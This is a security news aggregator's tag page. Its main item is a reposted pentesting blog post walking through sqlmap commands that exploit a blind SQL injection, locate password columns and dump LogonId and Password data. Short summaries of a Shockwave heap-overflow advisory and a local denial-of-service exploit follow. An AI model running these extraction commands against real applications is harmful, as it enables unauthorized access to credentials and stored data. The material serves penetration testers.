jetlib.sec » Tags » dbo

Feeds

133345 items (0 unread) in 27 feeds

• 1337day (was: Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories
• Packet Storm Security Exploits
• Packet Storm Security Recent Files
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

6 items tagged "dbo"

Related tags: service [+], denial of service [+], denial [+], vulnerability [+], shockwave 3d [+], shockwave [+], based buffer overflow [+], adobe shockwave player [+], sqlmap [+], password [+], mypath [+], mydatabase [+], http 192 168 1 1 [+], d mydatabase [+], c logonid [+], Pentesting [+]

• December 09, 2011
• 7:17

  SQLMap -- Searching Databases for Specific Columns/Data & Extracting from Specific Columns

   » ‎ Carnal0wnage
  So assuming we have some sort of SQL Injection in the application (Blind in this case) and we've previously dumped all the available databases (--dbs), we now want to search for columns with 'password' in them.
  
  To search all databases for 'password'
  

  python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -C 'password'

  To search a specific database for 'password'
  

  python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -D 'MYDATABASE' -C 'password'
  
  **note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**
  
  [15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'
  

  You'll get asked:
  

  do you want sqlmap to consider provided column(s):
  
  [1] as LIKE column names (default)
  [2] as exact column names
  > 1

  You'll want to give it a 1 first time around, it will probably give you stuff like this:
  

  [15:27:38] [INFO] retrieved: 2
  [15:28:22] [INFO] retrieved: Password
  [15:29:18] [INFO] retrieved: PrintPasswords

  We now know that we want to go back and enumerate/dump the column values from dbo.mytable and database MYDATABASE to see if there is anything good there. Mostly likely there is also a userID or LogonId in there we need to extract as well.
  

  python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --columns -T dbo.mytable -D MYDATABASE --time-sec=1

  You could also just do a dump if you want to start grabbing data
  

  python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1

  If you just want to pull a certain number of rows, you can also give a --start and --stop switch (--start=1 --stop=10) <--sometimes works, sometimes doesnt. Not sure whats up with that.
  

  python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10

  If you just want to just pull out certain columns you can do something like this (assuming columns LogonId and Password):
  

  python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10

  I'm sure I just committed some SQLMap sins, so please correct me (like last time) :-)
  
  -CG

  Tags:  password dbo sqlmap c-logonid d-mydatabase http-192-168-1-1 mydatabase mypath Pentesting  

• September 14, 2011
• 18:01

  DBO Local Denial Of Service

   » ‎ Packet Storm Security Exploits
  DBO local denial of service exploit that leverages LauncherConfig.xml.

  Tags:  dbo denial service denial-of-service  

• 18:01

  DBO Local Denial Of Service

   » ‎ Packet Storm Security Recent Files
  DBO local denial of service exploit that leverages LauncherConfig.xml.

  Tags:  dbo denial service denial-of-service  

• 18:01

  DBO Local Denial Of Service

   » ‎ Packet Storm Security Misc. Files
  DBO local denial of service exploit that leverages LauncherConfig.xml.

  Tags:  dbo denial service denial-of-service  

• January 20, 2010
• 16:00

  secunia-asp3dbo.txt

   » ‎ Packet Storm Security Recent Files
  Secunia Research has discovered a vulnerability in Adobe Shockwave Player, which can be exploited by malicious people to compromise a user's system. The vulnerability is caused by a boundary error when processing Shockwave 3D models. This can be exploited to cause a heap-based buffer overflow via a specially crafted Shockwave file. Successful exploitation allows execution of arbitrary code. Version 11.5.2.602 is affected.

  Tags:  shockwave vulnerability dbo adobe-shockwave-player based-buffer-overflow shockwave-3d  

• 16:00

  secunia-asp3dbo.txt

   » ‎ Packet Storm Security Advisories
  Secunia Research has discovered a vulnerability in Adobe Shockwave Player, which can be exploited by malicious people to compromise a user's system. The vulnerability is caused by a boundary error when processing Shockwave 3D models. This can be exploited to cause a heap-based buffer overflow via a specially crafted Shockwave file. Successful exploitation allows execution of arbitrary code. Version 11.5.2.602 is affected.

  Tags:  shockwave vulnerability dbo adobe-shockwave-player based-buffer-overflow shockwave-3d